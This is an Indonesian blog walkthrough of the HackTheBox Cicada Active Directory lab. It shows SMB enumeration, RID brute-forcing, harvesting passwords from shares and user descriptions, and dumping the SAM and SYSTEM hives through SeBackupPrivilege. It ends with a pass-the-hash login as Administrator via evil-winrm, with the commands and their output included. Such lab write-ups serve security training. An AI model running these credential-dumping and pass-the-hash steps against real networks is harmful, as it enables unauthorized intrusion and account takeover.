Skip to content
Home ยป HackTheBox | Cicada

HackTheBox | Cicada

Halo semuanya! Dalam tulisan kali ini, saya akan membahas walkthrough salah satu mesin dari HackTheBox yaitu Cicada. Ini adalah mesin Windows berbasis Active Directory yang membutuhkan enumerasi share SMB, pengumpulan kredensial, dan privilege escalation menggunakan backup privileges.

Reconnaissance Awal

Mari kita mulai dengan pengumpulan informasi menggunakan Nmap untuk memindai port yang terbuka:

nmap -sV 10.10.11.35 -p- -T4 --min-rate 1000 --max-retries 2 --initial-rtt-timeout 500ms -Pn

Hasil scan menunjukkan port berikut yang terbuka:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-15 09:57 EST
Nmap scan report for 10.10.11.35
Host is up (0.25s latency).
Not shown: 65522 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-12-15 22:00:30Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
53446/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Dari hasil Nmap, kita bisa melihat bahwa mesin ini merupakan Active Directory. Kita akan mulai dengan melakukan enumerasi SMB menggunakan smbclient.

Enumerasi SMB

Pertama, mari lihat share apa saja yang tersedia:

smbclient -L //10.10.11.35

Output:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        DEV             Disk      
        HR              Disk      
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        SYSVOL          Disk      Logon server share 

Menarik! Ada share DEV dan HR yang tidak umum. Mari kita periksa share HR:

smbclient -N //10.10.11.35/HR

Dalam share HR, kita menemukan file “Notice from HR.txt”. Kita download dan baca isinya:

get "Notice from HR.txt"
cat "Notice from HR.txt"

Isi file tersebut adalah:

Dear new hire!

Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure.

Your default password is: Cicada$M6Corpb.......

To change your password:

1. Log in to your Cicada Corp account** using the provided username and the default password mentioned above.
2. Once logged in, navigate to your account settings or profile settings section.
3. Look for the option to change your password. This will be labeled as "Change Password".
4. Follow the prompts to create a new password**. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters.
5. After changing your password, make sure to save your changes.

Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password.

If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb.

Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!

Best regards,
Cicada Corp

Bagus! Kita menemukan password default: Cicada$M6Corpb.......

Enumerasi User

Selanjutnya, kita akan mencoba mengenumerasi user dengan menggunakan crackmapexec:

crackmapexec smb 10.10.11.35 -u "guest" -p '' --rid-brute | grep SidTypeUser

Output:

SMB                      10.10.11.35     445    CICADA-DC        500: CICADA\Administrator (SidTypeUser)
SMB                      10.10.11.35     445    CICADA-DC        501: CICADA\Guest (SidTypeUser)
SMB                      10.10.11.35     445    CICADA-DC        502: CICADA\krbtgt (SidTypeUser)
SMB                      10.10.11.35     445    CICADA-DC        1000: CICADA\CICADA-DC$ (SidTypeUser)
SMB                      10.10.11.35     445    CICADA-DC        1104: CICADA\john.smoulder (SidTypeUser)
SMB                      10.10.11.35     445    CICADA-DC        1105: CICADA\sarah.dantelia (SidTypeUser)
SMB                      10.10.11.35     445    CICADA-DC        1106: CICADA\michael.wrightson (SidTypeUser)
SMB                      10.10.11.35     445    CICADA-DC        1108: CICADA\david.orelious (SidTypeUser)
SMB                      10.10.11.35     445    CICADA-DC        1601: CICADA\emily.oscars (SidTypeUser)

Kita menemukan beberapa user yang menarik. Mari kita fokus ke user michael.wrightson dan menggunakan enum4linux-ng untuk mengekstrak informasi lebih lanjut menggunakan kredensial yang sudah kita dapatkan:

enum4linux-ng -A -u 'michael.wrightson' -p 'Cicada$M6Corpb.......' 10.10.11.35

Dari hasil enum4linux-ng, kita menemukan informasi tentang user david.orelious:

'1108':                                                                                                                                                                                                                                     
  username: david.orelious                                                                                                                                                                                                                  
  name: (null)                                                                                                                                                                                                                              
  acb: '0x00000210'                                                                                                                                                                                                                         
  description: Just in case I forget my password is aRt$Lp#.....

Informasi yang sangat berguna! Kita mendapatkan password untuk david.orelious: aRt$Lp#.....

Akses ke Share DEV

Sekarang kita akan menggunakan kredensial david.orelious untuk mengakses share DEV:

smbclient //10.10.11.35/DEV -U david.orelious

Dalam share DEV, kita menemukan file “Backup_script.ps1”:

get "Backup_script.ps1"
cat Backup_script.ps1

Isi dari script backup tersebut:

$sourceDirectory = "C:\smb"
$destinationDirectory = "D:\Backup"

$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#...." -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential($username, $password)
$dateStamp = Get-Date -Format "yyyyMMdd_HHmmss"
$backupFileName = "smb_backup_$dateStamp.zip"
$backupFilePath = Join-Path -Path $destinationDirectory -ChildPath $backupFileName
Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath
Write-Host "Backup completed successfully. Backup file saved to: $backupFilePath"

Jackpot! Kita menemukan kredensial untuk user emily.oscars: Q!3@Lp#....

Mendapatkan User Flag

Sekarang kita akan menggunakan evil-winrm untuk login sebagai emily.oscars:

evil-winrm -i 10.10.11.35 -u emily.oscars -p 'Q!3@Lp#.....'

Setelah berhasil login, kita dapat mengakses user flag:

type ../Desktop/user.txt

User flag: 3ba47869d6e73e27.......

Privilege Escalation

Untuk melakukan privilege escalation, pertama kita periksa grup user dengan:

whoami /all

Kita menemukan bahwa user emily.oscars memiliki hak istimewa SeBackupPrivilege. Kita akan memanfaatkan hak ini untuk mendapatkan akses root.

mkdir c:\Temp
reg save hklm\sam c:\Temp\sam
reg save hklm\system c:\Temp\system
cd c:\Temp
download sam
download system

Setelah download kedua file tersebut, kita gunakan pypykatz untuk mengekstrak hash admin:

pypykatz registry --sam sam system

Output:

============== SYSTEM hive secrets ==============
CurrentControlSet: ControlSet001
Boot Key: 3c2b033757a49110a9ee680b46e8d620
============== SAM hive secrets ==============
HBoot Key: a1c299e572ff8c643a857d3fdb3e5c7c10101010101010101010101010101010
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a..............:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Kita mendapatkan hash NTLM Administrator. Dengan hash ini, kita bisa melakukan Pass-the-Hash attack menggunakan evil-winrm:

evil-winrm -i 10.10.11.35 -u Administrator -H '2b87e7c93a3e8a..............'

Setelah berhasil login sebagai Administrator, kita bisa mendapatkan root flag:

cd ../Desktop
type root.txt

Root flag: 74503b221ab85...............

Leave a Reply

Your email address will not be published. Required fields are marked *